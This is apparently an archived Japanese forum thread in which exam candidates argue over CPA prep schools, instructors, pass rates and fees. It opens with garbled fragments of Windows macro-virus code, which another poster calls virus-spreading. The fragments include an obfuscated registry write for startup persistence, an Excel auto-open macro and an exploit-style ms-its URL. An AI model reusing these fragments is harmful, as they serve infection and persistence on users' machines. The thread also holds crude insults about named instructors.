G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
476:一般に公正妥当と認められた名無しさん
06/10/09 13:44:13
クレとっても本試験ではなにも通用しないぞ。
他校とわたりあってるのは監査くらい。
その監査も他校と五分なくらいで、差をつけれるわけではない。
つまり、クレのメリットは安いのと自習室がおおいことだけ
477:一般に公正妥当と認められた名無しさん
06/10/09 13:55:57
>>475
誰だよ、ウイルスばらまいてるの？
478:一般に公正妥当と認められた名無しさん
06/10/09 17:54:12
>>476
それはそれで言いすぎだな
君はアンチクレというより、どこかの信者になってしまっているようだ
どこの学校でも信者は落ちるよ
479:一般に公正妥当と認められた名無しさん
06/10/09 23:40:06 XkUn/9PS
クレの育英選考試験の科目は何でしょうか？短答16問となっていますが5科目ですか？
480:一般に公正妥当と認められた名無しさん
06/10/10 00:05:10
>>476
工作員乙ｗ
481:一般に公正妥当と認められた名無しさん
06/10/10 00:08:22
スタッフ乙レス阻止
482:一般に公正妥当と認められた名無しさん
06/10/10 01:27:39
>>481
でかした
ぬるぽな流れを断ち切るんだ！
483:一般に公正妥当と認められた名無しさん
06/10/10 01:30:49
工作員乙とかスタッフ乙しか言えないやつはそれが面白いと思ってやってんのかな
見苦しいだけなのに･･･
484:一般に公正妥当と認められた名無しさん
06/10/10 10:02:16 Eel1oX5O
どこ行っても受かる奴は受かるでしょ。
ただテキスト棒読みが本当なら即効辞めさせて欲しい
485:一般に公正妥当と認められた名無しさん
06/10/11 01:30:52
★★【CIA】公認内部監査人【国際資格】★★
ｽﾚﾘﾝｸ(exam板)l50
851 名前： 一般に公正妥当と認められた名無しさん 投稿日： 2006/10/07(土) 12:01:13 ID:8wtZTJ5D
クレアール堀江教授、ＣＩＡを語る。
公認資格っていうのが最近ありまして、怪しげなCIAっていう、名称CIA
なんていうと、あれはいないんだけど。CIA、公認内部監査人と言うん
ですよ。どこぞの予備校でも、あのね、これは１回目の試験は英語で
してね、それで、この１回目にね試験委員っていうとおおげさですけど、
翻訳委員になってくれって言われてね、英語の問題を日本語に直して
受けられるようにしたんだけど、日本にないものがあるんだよね、コント
ローラーとかね、あれが、もー、どーやりゃーいいかとね、日本にない
組織とかね、日本にない職責とかね、あれ、法律なんかもそのまま使
えないでしょ。ですからね、あーの、もうややっこしいからね、１回で辞
めたけどね。冗談じゃないやってらんないよね。
あーの、公認内部監査人と言うんですけども、なんか予備校でやって
るよ。資格、最近、なんか流行ってるらしいわ。はい。会計士取ったらど
うですか？あのー、はい。余興で。はい。一週間ばっかりやりゃ受かん
じゃない？
486:一般に公正妥当と認められた名無しさん
06/10/11 01:31:23 31EXdBvy
852 名前： 一般に公正妥当と認められた名無しさん 投稿日： 2006/10/08(日) 01:22:04 ID:tfqffeo4
>>851
そういうおまいが会計士でもとったら？
あんなもん１０日もありゃ取れんだろ？
853 名前： 一般に公正妥当と認められた名無しさん 投稿日： 2006/10/08(日) 16:56:17 ID:FTO25OH5
>>851
CIA自体は（米国では）まっとうな資格ですよ。
最大の問題点は、「日本語に翻訳して日本語で受けられるようにした点」でしょ。
確かに、米国と日本の実務双方にある程度精通していて、ある程度の英語力が
がないと、まともな翻訳なんてできないわけだし。
(ちなみに、コントローラーとか日本でも普通にいるし。別に特殊な役職でもないけど。
（その方、コントローラーがどういう仕事をしているのか、そもそもご存じないのかな？)
もっとも、実務知識も英語力もある人自体は少ないですから、翻訳委員を探すのも大変でしょうね。
それに、試験問題の翻訳なんて極めて割の合わない仕事なんか真っ先に断りますから。
だって、（折角）日本語に訳してあげて少しでも翻訳に不適切な箇所があると、
「翻訳が酷くて問題の意味が分からない（から落ちた。）」なんてクレームが
来るわけですから。
教訓：米国の試験なのだから、受けるんだったら英語で受けましょう。
487:一般に公正妥当と認められた名無しさん
06/10/11 01:31:58 31EXdBvy
856 名前： 一般に公正妥当と認められた名無しさん 投稿日： 2006/10/10(火) 08:55:05 ID:uLdirWrE
理論的にはUSCPAのほうがJCPAを超えている。いつの時代もそうだ。
アメリカ人はパイオニア精神が旺盛な国民性も関係している。
世の中の変化に素早く対応する。デリバテイブ会計なんか見ると
ほんとにそう思う。時価会計では日本はもう計算が追い付けない
ほどの差が出来てしまっている。計算書類の書式でもそうだ、
日本じゃまだ包括利益計算書や株主持分計算書さえ出来ていない。
だから、一歩先を見たい者にとってはUSCPAのほうが役に立つ。
こんなところで会計学を論じてもしょうがないが、CIAの受験生の
数は半端じゃない。年2回の試験に大量の日本人が押し寄せている。
この種の資格が日本には無いからだ。だからUSCPAでも
日本で受験できたら大量の受験者が押し寄せるだろう。
488:一般に公正妥当と認められた名無しさん
06/10/11 10:34:21
石井語録「言うとおりにやれば合格するんだから、言うとおりにやらない方が悪い」
489:一般に公正妥当と認められた名無しさん
06/10/11 11:56:44
石井が言うとむかつくセリフだが
会計士試験以外の分野では、俺も同じことを後輩に対して感じているという矛盾
490:一般に公正妥当と認められた名無しさん
06/10/11 22:23:40
言うとおりにして短答落ちしたブロガーいたよね
491:一般に公正妥当と認められた名無しさん
06/10/12 20:31:24
きｔっちょむ
きちお
きちおは非常識合格法の被害者になったというが
あいつは外様でもあり
そもそもベテであり
ベテは落ちるからベテであり
ベテが落ちるのは自然の法則であり
せめて生え抜き信者を持ってしないと
石井の反証とは
492:一般に公正妥当と認められた名無しさん
06/10/12 21:27:55
URLﾘﾝｸ(kitio12.blog14.fc2.com)
泣いた 大きい赤字にまでしたのに
493:一般に公正妥当と認められた名無しさん
06/10/12 23:25:11
だからここは天才型暗記マシーンしか合格できない
暗記偏重型の学習システムなんだよ。何回も言わせんな
マーチ以下と、それ以上でも既卒の錆びたドタマの人は
大手の自然に頭に入るカリキュラムに従えって
494:一般に公正妥当と認められた名無しさん
06/10/13 01:29:42 enChqiFn
資格試験の合格者数を不当表示 公取委が警告
公正取引委員会は１２日、資格試験対策講座を運営する大手のＴＡＣ（東京）
と大原学園（同）、早稲田セミナー（同）に対し、受講者募集のパンフレット
に短期間しか受講していない合格者まで加え、合格実績として記載したのは景
品表示法違反（優良誤認）に当たる恐れがあると警告した。公取委によると、
ＴＡＣと大原学園はそれぞれ平成１７年から今年にかけ、１７年度の会員の
税理士試験合格者数に、実際には数日間の短期講座しか受講していない百数
十人を加え、対策講座の受講者を募集するパンフレットに「合格者中、ＴＡ
Ｃの会員は７６５名」「大原合格者８０５名」などと記載した。
ＴＡＣは公認会計士試験対策講座の広告でも同様に表示。早稲田セミナーも
公務員試験向け講座で、短期受講者らを合格者に加え表示した。
資格試験対策ビジネスの平成１７年度の市場規模は約３０００億円で、３社
は上位を占めている。３社は「警告を厳粛に受け止め、適正な表示に努めた
い」などとしている
495:一般に公正妥当と認められた名無しさん
06/10/13 01:41:10
クレは要領のいい
賢い人には最高だろうな
応用のきかない馬鹿には最悪
496:一般に公正妥当と認められた名無しさん
06/10/13 01:47:12 6weG3MNF
ＴＡＣが設置申請取り下げ 会計の専門職大学院
資格試験予備校のＴＡＣ（東京）は５日、
来春開校を目指していた会計の専門職大学院「ＴＡＣ大学院大」について、
文部科学省への設置申請を取り下げた。
専門職大学院の設置基準に違反した内容のパンフレットを配り、
文科省から厳重注意を受けたのが理由。
文科省によると、ＴＡＣがパンフレットに掲載した履修モデルケースでは、
１年間に履修可能な科目の合計が４６単位となり、
ＴＡＣが大学院設置申請の書類に記載した年間３０単位を超えていた。
文部科学省は「資格試験の準備に偏った詰め込み教育を意図している」として厳重注意していた。
（共同通信） - 10月5日23時23分更新
497:一般に公正妥当と認められた名無しさん
06/10/13 01:48:59
高島易断は「高島易断」著者 高島嘉衛門と一切無関係 （平成17年７月号）
(p)URLﾘﾝｸ(www.keiten.net)
当たるも八卦 当たらぬも八卦 高島易断の未来を占う 第２回 （平成17年８月号）
(p)URLﾘﾝｸ(www.keiten.net)
当たるも八卦 当たらぬも八卦 高島易断の未来を占う 第３回 （平成17年９月号）
(p)URLﾘﾝｸ(www.keiten.net)
498:一般に公正妥当と認められた名無しさん
06/10/13 16:22:07
2006.05.19 Friday
５月７日の早朝にクレの短答公開模試を申し込んだ。
クレアールのＨＰの
2.教材の一部と受講料納入案内を発送
お届けはお申し込みから1週間以内となります。
この言葉を信じて。
すぐに通信講座申し込み内容確認のメールが届いたんで、
申し込みは出来てるかと思うのだが。。。
あれから、１２日経過。
届かない。
もう届くことはないんだろう。。。
困ったもんだ。
499:一般に公正妥当と認められた名無しさん
06/10/14 13:58:53
なんで電話なりメールなりでクレームしないのかが疑問
500:一般に公正妥当と認められた名無しさん
06/10/15 00:23:56
おつむが足りないだけだろ
501:一般に公正妥当と認められた名無しさん
06/10/15 14:50:23 oBlMYJ6p
N村よ、予定から講義がすでに1.5ヶ月遅れているぞ。
お前の講義が何の役にも立たないのはもう仕方がない。
講師としての才能がないことはよくわかった。
講義は今すぐ取りやめて、テキストと問題集作りに専念しろ。
このままだと、クレ専念で合格する人間が本当にゼロになるぞ。
502:一般に公正妥当と認められた名無しさん
06/10/15 15:07:25
>>501
んー、でも、最近はＮ村もがんばっているよ。
ちょっとはましになってきたかな。
講義のふしぶしで、かなり落ち込んでいるのが最近わかる。
503:一般に公正妥当と認められた名無しさん
06/10/15 15:14:33
同情してやれる余裕があるのか？
Ｎ村の負債を背負い込むのは受験生なんだぞ
504:一般に公正妥当と認められた名無しさん
06/10/15 18:28:13
安いんだから文句言うなバカｗ
505:一般に公正妥当と認められた名無しさん
06/10/15 19:17:30
んで、実際のトコ安いの？
506:一般に公正妥当と認められた名無しさん
06/10/15 19:18:51
安いよ
高学歴なら尚安い
507:一般に公正妥当と認められた名無しさん
06/10/15 20:03:06 oBlMYJ6p
割引なしなら、アクセルのほうが安くなってしまった。
508:一般に公正妥当と認められた名無しさん
06/10/17 17:10:27 zUShWKKz
ｸﾚの管理の講義はダメでも答練はとる価値ありますか？
509:一般に公正妥当と認められた名無しさん
06/10/17 23:24:50
>>508
各自でやる分には良いんじゃない？
ステップあたりとあまり遜色ないみたいだし。
510:一般に公正妥当と認められた名無しさん
06/10/17 23:39:11
アクセスが最強
511:一般に公正妥当と認められた名無しさん
06/10/18 00:04:04 pfV40l1f
ステップ以下だな
一級より簡単だぞ
やる意味なし
アクセスとっとけ
512:一般に公正妥当と認められた名無しさん
06/10/18 01:03:53
工作員乙ｗ
513:一般に公正妥当と認められた名無しさん
06/10/18 01:08:00
クレの管理に何かを期待する方が悪いだろ･･･
おとなしくTACかLECの管理とっとけって
514:一般に公正妥当と認められた名無しさん
06/10/18 01:18:40 nC+sDu9h
Ｎ村は少しずつ、講義が良くなってきている。
しかし、所詮安井の劣化コピー（安井自身も３流講師と呼ばれていた）
あまりこれ以上の進化は期待できない。
答練はまだベーシック期だから、なんとも言えない。
でもさすがに、簿記１級よりは難しい。
ただ、出題傾向を見るかぎり、公認会計士の試験とは、ずれているような気がする。
515:一般に公正妥当と認められた名無しさん
06/10/18 01:21:23
クレアール最高！
この学校は使い方次第で評価が分かれる
とりあえず初学者はどこ行っても大差ないから安いとこにしとけ
自分の得意科目、不得意科目が見えてきたら弱いとこを他の学校の単科で補えばいい
516:一般に公正妥当と認められた名無しさん
06/10/18 02:27:03 pfV40l1f
一級のほうがむずい
過去問やれ
517:一般に公正妥当と認められた名無しさん
06/10/18 12:22:15 41IL7Klp
どこも良し悪しがあるからまずは安いところでやるといい。辞めた時は損が少ないからね。
518:一般に公正妥当と認められた名無しさん
06/10/18 12:26:29
阻止
519:一般に公正妥当と認められた名無しさん
06/10/18 13:54:00
ルパン３世好きの俺は、堀江監査の相性がいい。
520:一般に公正妥当と認められた名無しさん
06/10/18 18:40:47 LqSXd+/N
初学者や時間の無い人にはいいと思うけど。短答合格レベルなら充分じゃない。
基礎期をクレで、次の年ＴＡＣ上級あたりが効率的ではないか。費用も安いし。
521:一般に公正妥当と認められた名無しさん
06/10/18 20:41:25
それなら最初からタックで2年コース辺りに在籍した方が良くない？
522:一般に公正妥当と認められた名無しさん
06/10/18 20:43:53
それを言っちゃあおしめえよ。
523:一般に公正妥当と認められた名無しさん
06/10/18 20:51:50 LqSXd+/N
いや複数の予備校を上手く活用する方が効率的かつ効果的
ひょっとするとクレのみでも論文合格可能かも。
ＴＡＣ２年コースなんて無駄が多すぎるだろ。
１年本科をただ長くしただけだし
524:一般に公正妥当と認められた名無しさん
06/10/18 20:59:55
1校だけを信じてやった方が効率的だと思うが･･･
525:一般に公正妥当と認められた名無しさん
06/10/18 22:47:05
TACの二年コースなんて行ったら
どんだけ搾り取られるかわかったもんじゃないよ
管理会計なんかはオークションで手に入る教材で充分なんだし
526:一般に公正妥当と認められた名無しさん
06/10/18 22:49:14 LqSXd+/N
ＴＡＣは講義いらんよな。テキストと答練は良いが
527:一般に公正妥当と認められた名無しさん
06/10/19 04:30:34
無料聴講とかできるんだし、実際に講義を聞いてみて、専念する予備校を決めればいいと思うよ。
で、大事なのは、看板講師じゃない講師の講義を見せてもらうことだと思う。
できれば、一番やばそうな科目。
中小だと大手と違って振替が効かない（講師が１人しかいない）ので、合わない講師だと即あぼーんになる可能性大。
ズルズルやるのは精神衛生上よくないし、単科で他校を取ると結果として高くつくんじゃないかな。
安くて、自分のスタイルに合うのなら、言うことなしで、
あとは、ただただ勉強すればいいってだけ。
528:一般に公正妥当と認められた名無しさん
06/10/19 21:54:26 igwa6eXx
段々良スレになる傾向になりつつある
529:一般に公正妥当と認められた名無しさん
06/10/19 22:05:32 LeTWrFU7
でも、Ｎ村の話がはじまると・・・
530:一般に公正妥当と認められた名無しさん
06/10/20 21:34:26 dIO/hfcF
馬場ってどうなの？
531:一般に公正妥当と認められた名無しさん
06/10/20 21:48:55
最高だよ＞＜
532:一般に公正妥当と認められた名無しさん
06/10/20 23:18:34 9fSJ4HM9
馬場は基本的にはいい講師。
わかりやすいし。負担は小さい。
だが、2005年にありえないくらいに外してしまった。
ヤマあてをしに行き過ぎた。
2007年は、神になることを目指しているようだ。
独自に情報を集めているようである。
マジな話。
クレで致命的にやばい講師は統計学H佐と管理会計N村だけ。
簿記のM山も大概やばいが、管理会計N村はH佐とは違うやばさを独自に作りだしている。
533:一般に公正妥当と認められた名無しさん
06/10/20 23:22:49
馬場はビミョーだろ
534:一般に公正妥当と認められた名無しさん
06/10/20 23:27:53
よろしいでしょうか♪
↑ｳｻﾞｲ
535:一般に公正妥当と認められた名無しさん
06/10/20 23:39:12
>>533
馬場が微妙とは、あなたはヴェテなのですね？
536:一般に公正妥当と認められた名無しさん
06/10/21 00:39:06
てか馬●ってやばいぞ。
537:一般に公正妥当と認められた名無しさん
06/10/21 00:44:27
やばい理由kwsk
538:一般に公正妥当と認められた名無しさん
06/10/21 01:20:48 dsmT7WiU
やばい理由は
>>532に書いてあるとおりだよ。
まあ、きもいヴェテが足をひっぱっているだけだから、気にするな。
今年の試験を見てもわかるように、経営学は傾向が変わった。
試験委員対策はもう必要ない。
馬場も外しようがないからな。
539:一般に公正妥当と認められた名無しさん
06/10/21 09:17:01 i29Atoqi
あたるあたらない以前に内容的にも○場はやばい。
そもそも財務論わかってないな、って感じがありありとわかる時がある。
540:一般に公正妥当と認められた名無しさん
06/10/21 09:54:51
>>539はどの講師に教わっても理解できないベテ
541:sage
06/10/21 10:44:51 Vjtp17EB
思うに、
神様＞＞＞＞竹Ｍ＞＞ヒロシ＞ＢＢ＞カリスマ＞Ｍ山＞組長＞＞＞＞＞＞Ｎ村。
租税は微妙。
542:一般に公正妥当と認められた名無しさん
06/10/21 10:47:18
>>541
ミスった
543:一般に公正妥当と認められた名無しさん
06/10/21 11:58:51
>>539
同意。言葉おかしいしね。ちなみに俺はタックにしたぞ。
544:一般に公正妥当と認められた名無しさん
06/10/21 12:34:16
まぁ落ち続けるベテってのは、試験には関係のない細かいとこを
突っ込んで自己満足してる連中のことだからなｗ
そのまま２０年くらい続けて学者にでもなってください
あ、>>539>>543のことですよ^v^
545:一般に公正妥当と認められた名無しさん
06/10/21 12:54:13
監査＞＞財表＞＞企業＞＞＞＞＞租税＞経営＝簿記＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞管理＞＞＞∞＞＞＞比佐
カリスマ石井は2004年に外したことから評価が落ちた。もともとはアクセルエイジよりも評価が高かった。
今でも財表の理解の程度はクレ石井が上。
石井がこんなにたたかれているのは、性格と、いまだに受からないヴェテの工作によるものだ。
クレ石井は会計士受験会で１、２を争う講師であることは間違いない。
546:543
06/10/21 16:44:43
あ、俺今年一発で短答合格してるんでその辺よろしく^v^
547:一般に公正妥当と認められた名無しさん
06/10/21 18:16:50
>>546
その発言が前言を無意味にしちゃってるのわかりますか?^v^
548:一般に公正妥当と認められた名無しさん
06/10/21 19:47:20
＞あ、俺今年一発で短答合格してるんでその辺よろしく^v^
程度の低さが露呈してるね^v^
549:一般に公正妥当と認められた名無しさん
06/10/21 21:00:50 iaaJmi3F
お～い、ＩＣＯ生の皆さんへの質問。教祖（井○川氏）に貢物をして、仲良くならないと、質問に答えてくれないのですか？
やっぱり変な信仰宗教だよな。あと笑ってしまうのが、日曜の朝とか貴校の前に集まってるでしょ？あの連中ってＩＣＯ生だよね？
なんで建物に入らないの？
550:一般に公正妥当と認められた名無しさん
06/10/21 21:04:30 dsmT7WiU
ＩＣＯじゃないでつよ
551:一般に公正妥当と認められた名無しさん
06/10/21 21:16:13
よりにもよってクレとICOを間違えるとはなｗｗ
クレ信者は金にケチなだけで盲信とは無縁なんだよ
552:一般に公正妥当と認められた名無しさん
06/10/22 01:03:05 kH7dX6Fc
クレアールって、1級と公認会計士講座で、内容が重なりまくりで、
非効率のような気がする。
たとえば管理会計だけど、一緒にしちゃえばいいじゃん。
TACみたいにさぁ。
あと、管理会計のテキストは、できるだけ薄くするために、
かえって分かりにくくなってる気がする。
553:一般に公正妥当と認められた名無しさん
06/10/22 01:40:19
非常識合格法の本でもガイダンスでも、「会計士試験では傾斜配点が行われている」というコメントがあったけど、
結局それって根拠は何なの？
「簿記１級の試験でそれが行われていたと推測されるので、国家試験である会計士試験でもそれが行われているだろう」なんて、憶測でしかない。
554:一般に公正妥当と認められた名無しさん
06/10/22 02:13:00
ヒント：試験委員とお友達
555:一般に公正妥当と認められた名無しさん
06/10/22 06:58:09 QFn+nJPZ
ヒント２：石井は加古教授（新公認会計士試験準備委員会座長）の弟子
556:一般に公正妥当と認められた名無しさん
06/10/22 07:02:57
ヒント３：合格率が毎年ほぼ一定
557:一般に公正妥当と認められた名無しさん
06/10/22 08:01:52
財表や企業法のスピーチカードって配布されていないの？
558:一般に公正妥当と認められた名無しさん
06/10/22 08:14:58 RY3AXymk
傾斜配点されなければ合格者がゼロになる可能性があるだろ。今年の租税法で分かるだろ。
559:一般に公正妥当と認められた名無しさん
06/10/22 08:34:45
>>557
０６はもらえなかったです。廃止かも
560:一般に公正妥当と認められた名無しさん
06/10/22 12:08:38
>>559
スピーチカードは自分で作りなさいということなんですかね・・・
561:一般に公正妥当と認められた名無しさん
06/10/23 00:15:11 kOujQlig
租税法の答案凄いことになってたぞ
562:一般に公正妥当と認められた名無しさん
06/10/23 00:15:59
>>561
kwsk
563:一般に公正妥当と認められた名無しさん
06/10/24 23:24:45 a6HO9hwW
おまえらもっとガンガン書き込めよっ！！
寂しいじゃないか！
564:一般に公正妥当と認められた名無しさん?
06/10/25 04:03:20 1WUAvN6y
うむ
565:一般に公正妥当と認められた名無しさん
06/10/25 10:34:48
イガ塾いいですか？
566:一般に公正妥当と認められた名無しさん
06/10/25 12:55:34 bEXTlP7f
イガ塾なんて死んだも同然です。
567:一般に公正妥当と認められた名無しさん
06/10/26 00:53:18
総計未満と明示以外はどうでもいいって感じだよ
568:一般に公正妥当と認められた名無しさん
06/10/26 09:32:41
なぜ明治だけはOKｗ
569:一般に公正妥当と認められた名無しさん
06/10/26 15:30:08
イガが㍾だから
570:一般に公正妥当と認められた名無しさん
06/10/26 20:34:11 YtaOEFSk
カリスマ石井が明治だから
571:一般に公正妥当と認められた名無しさん
06/10/26 21:05:38
俺が明治だから
572:一般に公正妥当と認められた名無しさん
06/10/27 02:21:55 w/aoPXvy
>>570
へ～へ～へ～へ～
573:一般に公正妥当と認められた名無しさん?
06/10/27 02:44:00 s0Uwm1Wh
ひひひひひひひ
574:一般に公正妥当と認められた名無しさん
06/10/27 19:36:32
イガもカリスマも俺も生粋の明治っ子だぜ！
575:一般に公正妥当と認められた名無しさん
06/10/27 20:10:21
石井の頃の明治と、今時の明治レベルを同一に見るなよ。
576:一般に公正妥当と認められた名無しさん
06/10/27 20:29:34
おっさんですか？
577:一般に公正妥当と認められた名無しさん
06/10/27 23:22:00 ymVajvpW
石井は４回くらい受けて合格。
イガは１回で合格。
ということは、今の明治のレベルのほうが高いってことですか？
578:一般に公正妥当と認められた名無しさん
06/10/27 23:52:13 oaLd7RQJ
ＡＸＬ伊藤は元LEC税理士講座の
（法人税でも消費税でも所得税でもなく）
相続税の講師。
579:一般に公正妥当と認められた名無しさん
06/10/31 00:42:51
で、租税法の答練がどう詳しいのかkwsk
580:一般に公正妥当と認められた名無しさん
06/10/31 01:48:24 0sLL5dny
>>579
日本語がおかしい
581:一般に公正妥当と認められた名無しさん
06/10/31 03:29:38
素で間違えた＿|￣|○
で、租税法の答練がどう凄いのかkwsk
582:一般に公正妥当と認められた名無しさん
06/10/31 22:42:01 rBXuZlSe
就職は無難に決まったんだ。上司の暴言に
耐えられなくって辞めちゃったけどさ。そんで今TACさ。
大学入ったときさ、慶應の奴ならわかると思うけどニ幸食堂
ってあるじゃん？ドキュんサークルの溜まりになってるとこ。
ああいうとことか、噴水前とか苦手でさ。
大学に入って学内で初めて女の子に声かけられたんだけどさ、
緊張しちゃって顔は汗びっしょりになるし声も震えてうまく
喋れなかったよ。なんか幸福になる壷を買わないかという話
だったんだけどね。
でもやっぱマンモス大学だけあって、いろんな奴がいて段段と
友達もできて、人前でも普通に喋れるようにはなったさ。
三田に上がった頃には友達と学食でメシ食ったりするように
なったし。女の子の友達も少しできて、軽く雑談したりも
できるようになった。
勇気をだして曙町のヘルス行ったりもして、暗い密室で２人
きりだと女の子とも自然に会話できてエッチなこともできた。
話してみると、町を歩いてるギャルみたいな子も以外と普通の
感覚を持ってるんだと感じた。
まあ、どんな境遇であっても人と接する感覚を失わないってのは
とても大事だぜ。
583:一般に公正妥当と認められた名無しさん
06/10/31 23:34:59
( ；∀；)イイハナシダナー
584:一般に公正妥当と認められた名無しさん
06/11/01 00:16:41
・合格率偽装のTAC
・1年以内合格実績がほぼゼロの大原
・合格率3%のクレアール
・一流講師がほとんど逃げ出したLEC
・受講生がヴェテだらけのアクセル
どこの予備校が一番いいですか？
585:一般に公正妥当と認められた名無しさん
06/11/01 00:43:23
>>584
まあどこも似たようなものだなｗ
586:一般に公正妥当と認められた名無しさん
06/11/01 01:28:34
お医者様は超プラチナ
医者というだけでモテる 女に困らないすぐ股を開くし、なにより、多額年収！平均２２００万！だよ 見てみろよ求人広告をさ！調べてみろよ！お前等なんかとは大違いだからさ！プギャー！
さて 開業医はその何倍も稼いでる
５億ぐらいはざらにいる！
やっぱり お医者様は結婚したいランキングナンバーワンの超プラチナです
早く俺も医者になって女とやりたいです
587:一般に公正妥当と認められた名無しさん
06/11/01 19:35:28
理系も工学部人気下がって優秀なのは医学部だもんねぇ
20年後の技術水準は確実に中国以下になるな
ってことで中国語勉強してる俺ｗ
588:一般に公正妥当と認められた名無しさん
06/11/01 21:23:46
今年の監査論のカリキュラムって直前講義とかIだとかIIだとかに分かれてなくて
えらいシンプルに見えるけど、これって暫定仕様？？
589:一般に公正妥当と認められた名無しさん
06/11/01 23:12:36 Al5wD5Px
>>588
たぶん、ひらりんを追放したからだと思う。
590:一般に公正妥当と認められた名無しさん
06/11/01 23:15:17
( ；∀；)イイハナシダナー
591:一般に公正妥当と認められた名無しさん
06/11/01 23:42:14
>>590
うん、全くもって不要だよね。
592:一般に公正妥当と認められた名無しさん
06/11/01 23:56:50
実務何たらは堀江さんが15回の講義内でまかなうの？
593:一般に公正妥当と認められた名無しさん
06/11/02 00:03:10
平林は簿記の講義はダメダメだったが監査は案外、わかりやすかったと俺は思う。
594:一般に公正妥当と認められた名無しさん
06/11/02 00:08:41 K8hccMTN
五十嵐先生はまだいますか？
元五十嵐塾でした
595:一般に公正妥当と認められた名無しさん
06/11/02 00:26:13
イガ、辛うじて生きてるみたいね
596:一般に公正妥当と認められた名無しさん
06/11/05 21:43:58 rRHsB6Kl
みんながんばれ
597:一般に公正妥当と認められた名無しさん
06/11/05 22:45:32 fUJ3qshA
Ｔ○Ｃが出してる入門答練っぽいのかってといてるんだけど、
クレの簿記と微妙に違うのは気のせい？？
べテの人おしえてください。
598:一般に公正妥当と認められた名無しさん
06/11/05 23:49:25
何が言いたいのか意味がわかりません
599:一般に公正妥当と認められた名無しさん?
06/11/06 01:02:44 ieKw+92H
処理は違うとこはあるな。ＴＡＣで覚えたほうがいいぞ。
Ｍ山は間違えた処理を教えてることもあるからな。
600:一般に公正妥当と認められた名無しさん
06/11/06 01:50:31
>>597
具体的にどう違うのかカキコしないと教えられんじゃないか！
601:一般に公正妥当と認められた名無しさん
06/11/08 00:26:35 ma8APVcs
石井は神。
財務諸表論では、会計士界ナンバーワンの講師だ。
アクセル野坂では、論文は書けない。
602:一般に公正妥当と認められた名無しさん
06/11/08 00:39:58
何当たり前のこと得意気に言ってんだ？
603:一般に公正妥当と認められた名無しさん
06/11/08 01:56:48
石井では対応できないのは明らかだ
604:一般に公正妥当と認められた名無しさん
06/11/08 02:23:28
>>603
って負け犬どもが仰ってますｗ
605:一般に公正妥当と認められた名無しさん
06/11/08 06:48:54 JL7K0+dl
本気でTACとクレアール迷ってるんですが・・
このスレ読んでるとクレアールはちょっと問題あるんですか？
何かアドバイスください お願いします
606:一般に公正妥当と認められた名無しさん
06/11/08 14:25:52
ここの版はアンチと信者の巣窟なんで実際にお試し講義を受けてみてから
決めた方がいいよ。
607:一般に公正妥当と認められた名無しさん
06/11/08 15:45:14
経営（組織論・戦略論）と、管理会計の講義を聴いてみることをすすめるよ。
この２つをクリアできれば大丈夫だろう。
608:一般に公正妥当と認められた名無しさん
06/11/08 16:09:25
>>607が真理
609:一般に公正妥当と認められた名無しさん
06/11/08 16:40:19
工作員乙ｗ
610:一般に公正妥当と認められた名無しさん
06/11/08 16:47:46
馬鹿の一つ覚え乙ww
611:一般に公正妥当と認められた名無しさん
06/11/08 20:52:54 GM6dWxSW
クレアールは
簿記と監査論は攻めの姿勢。
財表、企業法、租税法は合格者平均点狙い。
管理会計と経営学は合格者最低点狙い。
ただ、管理会計と経営学は、ぎりぎりのラインを狙いすぎて受講生全滅のリスクもある。
クレアールの管理会計は他校の半分だからな。
（難しい問題は誰もできないから、できなくていいという考え）
612:一般に公正妥当と認められた名無しさん
06/11/08 21:42:39
目に見える実際の合格率や合格者数はどうなん？
613:一般に公正妥当と認められた名無しさん
06/11/08 22:01:27 XdCtPHvb
クレアールの「金原伝説」って何？知ってる人教えて？
614:一般に公正妥当と認められた名無しさん
06/11/08 22:17:34
>>612
２００６年については、答練の提出率が６割以上の受講生は、短答の合格率は６割と石井は言っていた。
ちなみに、２００５年は合格率３％
615:一般に公正妥当と認められた名無しさん
06/11/08 22:57:50
短答だけはいいのか？
結局他校とかけもちが多いだろ？
616:一般に公正妥当と認められた名無しさん
06/11/08 23:05:09
>>615
いや、短答も微妙だな。簿記の短答答練難しすぎない？
617:一般に公正妥当と認められた名無しさん
06/11/08 23:18:15
DVD通信だが、鼻かんでる香具師が非常に気になる。というか、五月蝿い。
618:一般に公正妥当と認められた名無しさん
06/11/09 00:55:04
>>617
ワロスwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
619:一般に公正妥当と認められた名無しさん
06/11/09 01:00:48
企業法の石井遅刻…
620:一般に公正妥当と認められた名無しさん
06/11/09 01:09:58
>>607
管理会計は池辺
経営学はＯ原
財表はアクセルのＥＩＪＩで
621:一般に公正妥当と認められた名無しさん
06/11/09 01:22:02
>>617
通信で聞こえてるのか…
622:一般に公正妥当と認められた名無しさん
06/11/09 01:27:30
石井が今年も論文的中と言っていた件について
623:一般に公正妥当と認められた名無しさん
06/11/09 18:18:11
やっぱり、石井先生は神。
アクセル野坂では論文は書けない。
624:一般に公正妥当と認められた名無しさん
06/11/09 18:23:41
誉めたり貶したりするのは良いけどちゃんと理由も書けよ
それくらいの文章力がなきゃ論文なんて一生書けるようにならねーよ
625:一般に公正妥当と認められた名無しさん
06/11/09 18:35:51
やっぱり、石井先生は神。
アクセル野坂では論文は書けない。
626:一般に公正妥当と認められた名無しさん
06/11/09 18:37:18
石井では対応できないのは明らか
627:一般に公正妥当と認められた名無しさん
06/11/09 18:38:36
おまいら理由を書け
628:一般に公正妥当と認められた名無しさん
06/11/09 18:40:48
理由 暗記だけで思考力が育たない
論点の体系的理解ができない
629:一般に公正妥当と認められた名無しさん
06/11/09 18:55:04
まぁ一理あるわな
630:一般に公正妥当と認められた名無しさん
06/11/09 19:09:31 Gw1QolsH
論文発表待ちのクレアール生だが、
２００６年のアクセル簿記、野坂財表、池辺管理会計
を受講したおれが書いてみる。
